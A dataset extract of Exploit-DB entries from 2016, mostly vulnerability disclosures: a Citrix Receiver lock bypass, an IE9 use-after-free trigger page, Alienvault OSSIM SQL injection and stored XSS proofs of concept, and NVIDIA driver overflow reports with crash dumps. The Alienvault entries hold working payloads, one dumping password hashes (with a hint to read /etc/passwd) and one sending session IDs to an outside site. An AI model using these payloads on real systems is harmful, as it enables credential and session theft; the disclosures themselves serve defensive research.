QLWD/code_shield huggingface dataset:
标题: Citrix Receiver/Receiver Desktop Lock 4.5 - Authentication Bypass EDB-ID: 40686 CVE: 2016-9111 类型: LOCAL 平台: MULTIPLE 发布日期: 2016-11-02 漏洞利用脚本: # thel3l

# Title: Citrix Receiver/Receiver Desktop Lock 4.5 Incorrect Access Control
# CVE: CVE-2016-9111
# Date of Discovery: October 27 2016
# Exploit Author: Rithwik Jayasimha
# Author Homepage/Contact: https://thel3l.me
# Vendor Name: Citrix
# Vendor Homepage: https://www.citrix.com/
# Software Link: Receiver - https://www.citrix.com/go/receiver.html
                 Receiver Desktop Lock - https://www.citrix.com/downloads/citrix-receiver/additional-client-software/receiver-desktop-lock-45.html
# Version: 10.6.3
# Tested on: Windows 8.1, macOS 10.12.1 Sierra
# Category: local
# Vulnerability type: Incorrect Access Control


# Description: Allows attacker with physical access to VDI to bypass authentication requirement. Citrix Receiver and/or Desktop Lock for Mac OSX and Windows suffer from a local incorrect access control.
To exploit this:
1. An attacker would first identify a VDI with a logged in user, which has been locked.
2. The attacker then proceeds to disconnect the system from the network temporarily (removing and reinserting the LAN cable is enough).
3. Citrix Receiver then proceeds to unlock the session and allows the attacker full access to the connected user's account without confirming the user's identity.

# Additional Notes, References and links:
    * This exploit is not 100% reliable - it may take a couple of tries to be able to accurately reproduce this behavior.
    * This attack has only been attempted with physical access - it may also be possible to remotely script a restart of a network adapter to cause the same behavior. URL: https://www.exploit-db.com/exploits/40686
标题: Microsoft Internet Explorer 9 - MSHTML CAttrArray Use-After-Free (MS14-056) EDB-ID: 40685 CVE: 2014-4141 类型: DOS 平台: WINDOWS 发布日期: 2016-11-02 漏洞利用脚本: <!--
Source: http://blog.skylined.nl/20161101001.html

Synopsis

A specially crafted webpage can cause Microsoft Internet Explorer 9 to reallocate a memory buffer in order to grow it in size. The original buffer will be copied to newly allocated memory and then freed. The code continues to use the freed copy of the buffer.

Known affected versions, attack vectors and mitigations

Microsoft Internet Explorer 9
An attacker would need to get a target user to open a specially crafted webpage. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
-->

<!doctype html>
<script>
  oTextArea = document.createElement('textarea');
  oTextArea.dataSrc = 1;
  oTextArea.id = 1;
  oTextArea.innerHTML = 1;
  oTextArea.onvolumechange = 1;
  oTextArea.style.setProperty('list-style', "url()");
</script>


<!--
Analysis

The CAttrArray object initially allocates a CImplAry buffer of 0x40 bytes, which can store 4 attributes. When the buffer is full, it is grown to 0x60 bytes. A new buffer is allocated at a different location in memory and the contents of the original buffer is copied there. The repro causes the code to do this, but the code continues to access the original buffer after it has been freed.

Exploit

If an attacker was able to cause MSIE to allocate 0x40 bytes of memory and have some control over the contents of this memory before MSIE reuses the freed memory, there is a chance that this issue could be used to execute arbitrary code. I did not attempt to write an exploit for this vulnerability myself.

Timeline

- April 2014: This vulnerability was found through fuzzing.
- July 2014: This vulnerability was submitted to ZDI.
- July 2014: ZDI reports a collision with a report by another researcher. (From the credits given by Microsoft and ZDI, I surmise that it was Peter 'corelanc0d3r' Van Eeckhoutte of Corelan who reported this issue.
- October 2014: Microsoft release MS14-056, which addresses this issue.
- November 2016: Details of this issue are released.
--> URL: https://www.exploit-db.com/exploits/40685
标题: Alienvault OSSIM/USM 5.3.1 - SQL Injection EDB-ID: 40684 CVE: 2016-8582 类型: WEBAPPS 平台: PHP 发布日期: 2016-11-02 漏洞利用脚本: Details
=======

Product: Alienvault OSSIM/USM
Vulnerability: SQL Injection
Author: Peter Lapp, lappsec () gmail com
CVE: CVE-2016-8582
Vulnerable Versions: <=5.3.1
Fixed Version: 5.3.2



Vulnerability Details
=====================

A SQL injection vulnerability exists in the value parameter of
/ossim/dashboard/sections/widgets/data/gauge.php on line 231. By
sending a serialized array with a SQL query in the type field, it's
possible to execute an arbitrary SQL query. The result is not
displayed on the screen, but it can be exploited as a blind SQLi or
have the output directed to a file and then retrieved via another
request. Authentication is required.



POC
===

This request will dump user password hashes to a file:

/ossim/dashboard/sections/widgets/data/gauge.php?&type=alarm&wtype=blah&asset=1&height=1&value=a%3A1%3A%7Bs%3A4%3A%22type%22%3Bs%3A67%3A%22pass+from+users+INTO+OUTFILE+%27%2Ftmp%2F10.0.0.123_pass_tshark.pcap%27--+-%22%3B%7D

The file containing the output can then be retrieved with the following request:
/ossim/pcap/download.php?scan_name=pass&sensor_ip=10.0.0.123

It's also possible to read the contents of any file readable by the
mysql user by using mysql's load_file function. For example, changing
the request to something like select load_file('/etc/passwd') .



Timeline
========

08/03/16 - Reported to Vendor
10/03/16 - Fixed in version 5.3.2



References
==========

https://www.alienvault.com/forums/discussion/7766/security-advisory-alienvault-5-3-2-address-70-vulnerabilities URL: https://www.exploit-db.com/exploits/40684
标题: Alienvault OSSIM/USM 5.3.1 - Persistent Cross-Site Scripting EDB-ID: 40683 CVE: 2016-8581 类型: WEBAPPS 平台: PHP 发布日期: 2016-11-02 漏洞利用脚本: Details
=======

Product: Alienvault OSSIM/USM
Vulnerability: Stored XSS
Author: Peter Lapp, lappsec () gmail com
CVE: CVE-2016-8581
CVSS: 3.5
Vulnerable Versions: <=5.3.1
Fixed Version: 5.3.2



Vulnerability Details
=====================

A stored XSS vulnerability exists in the User-Agent header of the
login process. It's possible to inject a script into that header that
then gets executed when mousing over the User-Agent field in Settings
-> Current Sessions.



POC
===

The POC uses jQuery to send all session IDs on the "Current Sessions"
page to an arbitrary site (Google, in this case)

<script>$('#ops_table
.ops_id').each(function(){$.get("https://www.google.com/",{session:($(this).html())});});</script>



Timeline
========

08/03/16 - Reported to Vendor
10/03/16 - Fixed in version 5.3.2



References
==========

https://www.alienvault.com/forums/discussion/7766/security-advisory-alienvault-5-3-2-address-70-vulnerabilities URL: https://www.exploit-db.com/exploits/40683
标题: NVIDIA Driver - Stack Buffer Overflow in Escape 0x7000014 EDB-ID: 40667 CVE: 2016-8805 类型: DOS 平台: WINDOWS 发布日期: 2016-10-31 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=946

There is a missing bounds check in inner loop of the escape handler for 0x7000014
that leads to a stack buffer overflow:

...
for (DWORD i = 0; < escape->num_data; ++i) {
  ...
  // size is user controlled.
  size = escape->data[i].size;
  for (DWORD j = 0; j < size; ++j) {
     stack_buf[j] = escape->data[...];
  } 
}

The attached PoC gives me the following crashing context (Win 10 x64, 372.54):

DRIVER_OVERRAN_STACK_BUFFER (f7)
A driver has overrun a stack-based buffer.  This overrun could potentially
allow a malicious user to gain control of this machine.
...
ffffd000`23f94a78 fffff801`6e5deaf2 : ffffd000`23f95270 00000000`000000f7 ffffd000`23f94be0 fffff801`6e43c848 : nt!DbgBreakPointWithStatus
ffffd000`23f94a80 fffff801`6e5de4c3 : 00000000`00000003 ffffd000`23f94be0 fffff801`6e56c600 00000000`000000f7 : nt!KiBugCheckDebugBreak+0x12
ffffd000`23f94ae0 fffff801`6e55fa44 : 00000000`00000000 00000000`00000000 ffffc001`c8e7202c fffff801`6e7188b8 : nt!KeBugCheck2+0x893
ffffd000`23f951f0 fffff800`c58e2bc6 : 00000000`000000f7 ffffd000`23f95270 000044dd`b2c37fec ffffbb22`4d3c8013 : nt!KeBugCheckEx+0x104
ffffd000`23f95230 fffff800`c57ba4ce : ffffd000`23f95220 ffffe000`69a62000 00000000`00000001 00000000`07000014 : nvlddmkm+0x192bc6
ffffd000`23f95270 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nvlddmkm+0x6a4ce


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40667.zip URL: https://www.exploit-db.com/exploits/40667
标题: NVIDIA Driver - Stack Buffer Overflow in Escape 0x10000e9 EDB-ID: 40668 CVE: 2016-8807 类型: DOS 平台: WINDOWS 发布日期: 2016-10-31 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=947

The escape handler for 0x10000e9 lacks bounds checks, and passes a user
specified size as the size to memcpy, resulting in a stack buffer overflow:

bool escape_10000e9(NvMiniportDeviceContext *a1, Escape10000e9 *escape) {
  ...
  LOBYTE(a9) = escape_->unknown_5[1] != 0;
  LOBYTE(a8) = escape_->unknown_5[0] != 0;
  if ( !sub_DC57C(
          *(_QWORD *)(*(_QWORD *)(v4 + 104) + 1000i64),
          escape_->unknown_1,
          escape_->unknown_2,
          escape_->unknown_3,
          escape_->unknown_4,
          escape_->data,
          escape_->size,
          a8,
          a9,
          &escape_->unknown_5[2]) )
    return 0;
  escape_->header.result = 1;
  return 1;
}

char sub_DC57C(...) {
  ...
  // escape_buf is escape_->data from previous function
  // buf_size is escape->size
  memcpy(&stack_buf, escape_buf, (unsigned int)buf_size);
  ...

Crashing context (Win 10 x64, 372.54):

DRIVER_OVERRAN_STACK_BUFFER (f7)
A driver has overrun a stack-based buffer.  This overrun could potentially
allow a malicious user to gain control of this machine.
...

STACK_TEXT:  
ffffd000`263bc188 fffff803`9d1deaf2 : 9d919d43`2d3cc8a7 00000000`000000f7 ffffd000`263bc2f0 fffff803`9d03c848 : nt!DbgBreakPointWithStatus
ffffd000`263bc190 fffff803`9d1de4c3 : 00000000`00000003 ffffd000`263bc2f0 fffff803`9d16c600 00000000`000000f7 : nt!KiBugCheckDebugBreak+0x12
ffffd000`263bc1f0 fffff803`9d15fa44 : 00000000`00000000 00000000`00000000 00000000`00000000 ffffc000`494d4764 : nt!KeBugCheck2+0x893
ffffd000`263bc900 fffff800`ad8c2bc6 : 00000000`000000f7 9d919d43`2d3cc8a7 0000f6ec`74dc94fc ffff0913`8b236b03 : nt!KeBugCheckEx+0x104
ffffd000`263bc940 fffff800`ad7fc6f7 : c0004492`55400400 ffff8000`00000000 ffffc000`44925540 00000000`00000000 : nvlddmkm+0x192bc6
ffffd000`263bc980 ffffc000`585e78a0 : 00000000`000005d4 00430043`00310030 4666744e`03610107 00000000`00000000 : nvlddmkm+0xcc6f7
ffffd000`263bce70 00000000`000005d4 : 00430043`00310030 4666744e`03610107 00000000`00000000 00000c48`01380702 : 0xffffc000`585e78a0
ffffd000`263bce78 00430043`00310030 : 4666744e`03610107 00000000`00000000 00000c48`01380702 00010000`000166c2 : 0x5d4
ffffd000`263bce80 4666744e`03610107 : 00000000`00000000 00000c48`01380702 00010000`000166c2 00000000`00000000 : 0x00430043`00310030
ffffd000`263bce88 00000000`00000000 : 00000c48`01380702 00010000`000166c2 00000000`00000000 00000000`00000000 : 0x4666744e`03610107


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40668.zip URL: https://www.exploit-db.com/exploits/40668
标题: NVIDIA Driver - Missing Bounds Check in Escape 0x100009a EDB-ID: 40665 CVE: 2016-8810 类型: DOS 平台: WINDOWS 发布日期: 2016-10-31 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=942

The DxgkDdiEscape handler for escape 0x100009a lacks proper bounds checks:

case 0x100009A:
  ...
  size_0 = escape_data->size_1;
  ...
  size_1 = 2 - (escape_data->unknown < 18);
  ...
  size_2 = escape_data->size_2;
  ...
  total_size = size_0 * size_1 * size_2;
  ...

  if (total_size > 0x10)
    do_debug_thingo();

  if (total_size) {
    DWORD* ptr = alloced_buf + 24;
    DWORD* user_buf = escape_data->data;
    ...
    while (total_size) {
      *(ptr - 1) = *(user_buf - 1);
      *ptr = *user_buf;
      ...
      user_buf += 4;
      ptr += 39;
      --total_size;
    }

There is a check that total_size > 0x10, which calls some kind of a
debug/logging function (do_debug_thingo in my pseudocode), but it does not
actually stop processing of the escape. This leads to buffer overflow on the
allocated pool buffer later on.

Note that there is also a potential integer overflow in the calculation of
|total_size|. Since the individual sizes (size_0, size_1, size_2) appear to be
stored in a struct and eventually passed off to another function, there may be
more problems later on too.

Crashing context with PoC (Win10 x64 with 372.54):

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
...
rax=00000000caa6ed30 rbx=0000000000000000 rcx=ffffc001cd337044
rdx=00000000000f41bd rsi=0000000000000000 rdi=0000000000000000
rip=fffff80102461188 rsp=ffffd000243bbed0 rbp=ffffd000243bbfd0
 r8=0000000000000000  r9=0000000000000000 r10=0000000000000000
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
nvlddmkm!nvDumpConfig+0x12a2b0:
fffff801`02461188 8941fc          mov     dword ptr [rcx-4],eax ds:ffffc001`cd337040=????????


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40665.zip URL: https://www.exploit-db.com/exploits/40665
标题: NVIDIA Driver - Missing Bounds Check in Escape 0x70000d5 EDB-ID: 40666 CVE: 2016-8808 类型: DOS 平台: WINDOWS 发布日期: 2016-10-31 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=944

The DxgkDdiEscape handler for 0x70000d5 lacks bounds checks:
 
 ...
 
 if ( g_saved_size )
  {
    escape->size = g_saved_size;
    if ( (unsigned int)g_saved_size > 0 )
    {
      do
      {
        v5 = v2++;
        escape->data[v5] = global_array[v5 + 77];
      }
      while ( v2 < g_saved_size );
    }
    return;
  }
  data = 0i64;


  ...
  if ( escape->size > 0 )
  {
    do
    {
      ii = i++;
      global_array[ii + 77] = escape->data[ii];
    }
    while ( i < escape->size );

  ...
  g_saved_size = escape->size;

This handler copies data to/from a global array, but lacks any form of bounds checking, as
|escape->size| is controlled by the user. This leads to overflow of the global buffer, and pool overflows
when it's copied back into the escape data.

A PoC is attached that should cause a crash (Win 10 x64, 372.54):

KERNEL_SECURITY_CHECK_FAILURE (139)
A kernel component has corrupted a critical data structure.  The corruption
could potentially allow a malicious user to gain control of this machine.
Arguments:
Arg1: 0000000000000002, Stack cookie instrumentation code detected a stack-based
 buffer overrun.
Arg2: ffffd00022de52c0, Address of the trap frame for the exception that caused the bugcheck
Arg3: ffffd00022de5218, Address of the exception record for the exception that caused the bugcheck
Arg4: 0000000000000000, Reserved


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40666.zip URL: https://www.exploit-db.com/exploits/40666
标题: NVIDIA Driver - No Bounds Checking in Escape 0x7000170 EDB-ID: 40662 CVE: 2016-8811 类型: DOS 平台: WINDOWS 发布日期: 2016-10-31 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=936

The DxgkDdiEscape handler for 0x7000170 lacks proper bounds checks for the variable size
input escape data, and relies on a user provided size as the upper bound for writing output.

Crashing context with PoC (Win 10 x64 with 372.54):

KERNEL_SECURITY_CHECK_FAILURE (139)
A kernel component has corrupted a critical data structure.  The corruption
could potentially allow a malicious user to gain control of this machine.
...

rax=fffff801f417e600 rbx=0000000000000000 rcx=0000000000000002
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff801f4152b75 rsp=ffffd000287b4468 rbp=ffffd000287b53e8
 r8=fffff801f4169e24  r9=ffffd000287b5620 r10=ffffd000287b5620
r11=0000000000000450 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz ac pe nc
dxgkrnl!_report_gsfailure+0x5:
fffff801`f4152b75 cd29            int     29h
Resetting default scope

EXCEPTION_RECORD:  ffffd000287b4228 -- (.exr 0xffffd000287b4228)
ExceptionAddress: fffff801f4152b75 (dxgkrnl!_report_gsfailure+0x0000000000000005)
   ExceptionCode: c0000409 (Security check failure or stack buffer overrun)
  ExceptionFlags: 00000001
NumberParameters: 1
   Parameter[0]: 0000000000000002
Subcode: 0x2 FAST_FAIL_STACK_COOKIE_CHECK_FAILURE

To reproduce, compile the PoC as a x64 binary (requires linking with
setupapi.lib, and WDK for D3DKMTEscape), and run. It may require some changes
as for it to work as the escape data must contain the right values (e.g. a
field that appears to be gpu bus device function). My PoC should hopefully set
all the right values for the machine it's running on.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40662.zip URL: https://www.exploit-db.com/exploits/40662
标题: NVIDIA Driver - Unchecked User-Provided Pointer in Escape 0x5000027 EDB-ID: 40663 CVE: 2016-8806 类型: DOS 平台: WINDOWS 发布日期: 2016-10-31 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=937

The DxgkDdiEscape handler for 0x5000027 accepts a user provided pointer,
but does no checks on it before using it.

...
    DWORD* user_ptr = escape_5000027_data->user_ptr;
    v32 = user_ptr[2];
    v33 = user_ptr + 3;
    if ( v32 != -1 )
        v33 = (_DWORD *)v32;
    sub_91C24(miniport_context_, *user_ptr, user_ptr[1], v33, (__int64)&escape_data_);
...

The PoC I’ve provided causes a read on said pointer, but based on inspecting where this pointer
is passed it seems like there is at least 1 code path that can result in a write (I haven't
confirmed this though). 

(On Win 10 x64 with 372.54)

FAULTING_IP: 
nvlddmkm!nvDumpConfig+1338c7
fffff801`8a26a79f 8b4808          mov     ecx,dword ptr [rax+8]

CONTEXT:  ffffd00023649970 -- (.cxr 0xffffd00023649970)
rax=4141414141414141 rbx=ffffd0002364a870 rcx=0000000005000017
rdx=ffffd0002364a498 rsi=0000000000000000 rdi=ffffd0002364a498
rip=fffff8018a26a79f rsp=ffffd0002364a390 rbp=ffffd0002364a4a9
 r8=ffffd0002364a870  r9=ffffe8023c537220 r10=0000000000000000
r11=ffffd0002364a370 r12=ffffe8023c537220 r13=fffff80189fa9370
r14=ffffe000d6f2a000 r15=ffffe8023c537220
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
nvlddmkm!nvDumpConfig+0x1338c7:
fffff801`8a26a79f 8b4808          mov     ecx,dword ptr [rax+8] ds:002b:41414141`41414149=????????
Resetting default scope

To reproduce, compile PoC as a x64 executable and run (requires WDK for D3DKMTEscape).


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40663.zip URL: https://www.exploit-db.com/exploits/40663
标题: NVIDIA Driver - Incorrect Bounds Check in Escape 0x70001b2 EDB-ID: 40664 CVE: 2016-8809 类型: DOS 平台: WINDOWS 发布日期: 2016-10-31 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=940

The DxgkDdiEscape handler for 0x70001b2 doesn't do proper bounds checks for its
variable size input.

void sub_8C4304(...) {
        ...
        // escape_->size is controlled by the user.
        if ( escape_->size < size )
          size = escape_->size;
        memcpy(escape_->data, v31, 28i64 * size);
        ...
}

Note that this appears to be a common pattern. Normally, before
escape handlers are executed, |PrivateDriverDataSize| (from DXGKARG_ESCAPE)
is checked to be equal to some value against a hardcoded table. However, some escapes
allow a more relaxed check that |PrivateDriverDataSize| >= minimum. This means that
the handler themselves must implement an ad hoc bounds check, which either seems to be
missing or implemented incorrectly (relying on a user specified value) in many cases.

bug 936 is a similar issue and there are likely more. I've noticed (but not confirmed)
a few more OOB reads that I haven't reported that follow this same pattern.

Crashing context with PoC (Win 10 x64 with 372.54):

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
...
rax=ffffd000239d51dc rbx=0000000000000000 rcx=fffffffffffffff4
rdx=fffff000e9e6c754 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80166d6aca0 rsp=ffffd000239d3df8 rbp=ffffd000239d3f00
 r8=0000000000000924  r9=000000000000003b r10=000000000000e9ef
r11=ffffd000239d48ac r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz ac pe cy
nvlddmkm+0x5daca0:
fffff801`66d6aca0 f30f7f40f0      movdqu  xmmword ptr [rax-10h],xmm0 ds:ffffd000`239d51cc=????????????????????????????????
Resetting default scope

To reproduce, compile as an x64 executable an run (requires WDK for D3DKMTEscape).


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40664.zip URL: https://www.exploit-db.com/exploits/40664
标题: NVIDIA Driver - Unchecked Write to User-Provided Pointer in Escape 0x700010d EDB-ID: 40657 CVE: 2016-7385 类型: DOS 平台: WINDOWS 发布日期: 2016-10-31 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=894

The DxgkDdiEscape handler for 0x700010d accepts a user provided pointer as the
destination for a memcpy call, without doing any checks on said pointer.

void __fastcall escape_700010D(NvMiniportDeviceContext* ctx, NvEscapeData *escape)
{
    ...
    v8 = escape->unknown_2;
    if ( v8 == 1 )
    {
      data.size = escape->size;
      data.buf = ExAllocatePoolWithTag((POOL_TYPE)512, 0xC08i64 * data.size, 0x7061564Eu);
      v9 = Escape7Handler(0i64, dword_7DCB84, dword_7DCB84, 626, &data, 0x190);
    }
     
    ...
    else if ( escape->unknown_2 == 1 )
    {
      memcpy(escape->user_ptr, data.buf, 3080i64 * escape->size);


(Win 10 x64 372.54) crashing context with PoC (in memcpy) on a write to 0x4141414141414141:

SYSTEM_SERVICE_EXCEPTION (3b)
...
CONTEXT:  ffffd0002d2ab5c0 -- (.cxr 0xffffd0002d2ab5c0)
rax=0000000000000001 rbx=ffffc0016c9b9b40 rcx=000000000000000f
rdx=bebe9ebf4b4e0ecf rsi=0000000000000001 rdi=000000007061564e
rip=fffff8005488ab00 rsp=ffffd0002d2abfe8 rbp=ffffd0002d2ac0f0
 r8=0000000000000bf9  r9=ffffd00024014ac0 r10=0000000000000000
r11=4141414141414141 r12=0000000000000340 r13=fffff800542b0000
r14=ffffe0008fb2d000 r15=0000000000000001
iopl=0         nv up ei pl nz ac po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
nvlddmkm+0x5dab00:
fffff800`5488ab00 f3410f7f03      movdqu  xmmword ptr [r11],xmm0 ds:002b:41414141`41414141=????????????????????????????????

To reproduce, compile the PoC as a x64 binary (requires linking with
setupapi.lib, and WDK for D3DKMTEscape), and run. It may require some changes
as for it to work as the escape data must contain the right values (e.g. a
field that appears to be gpu bus device function). My PoC should hopefully set
all the right values for the machine it's running on.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40657.zip URL: https://www.exploit-db.com/exploits/40657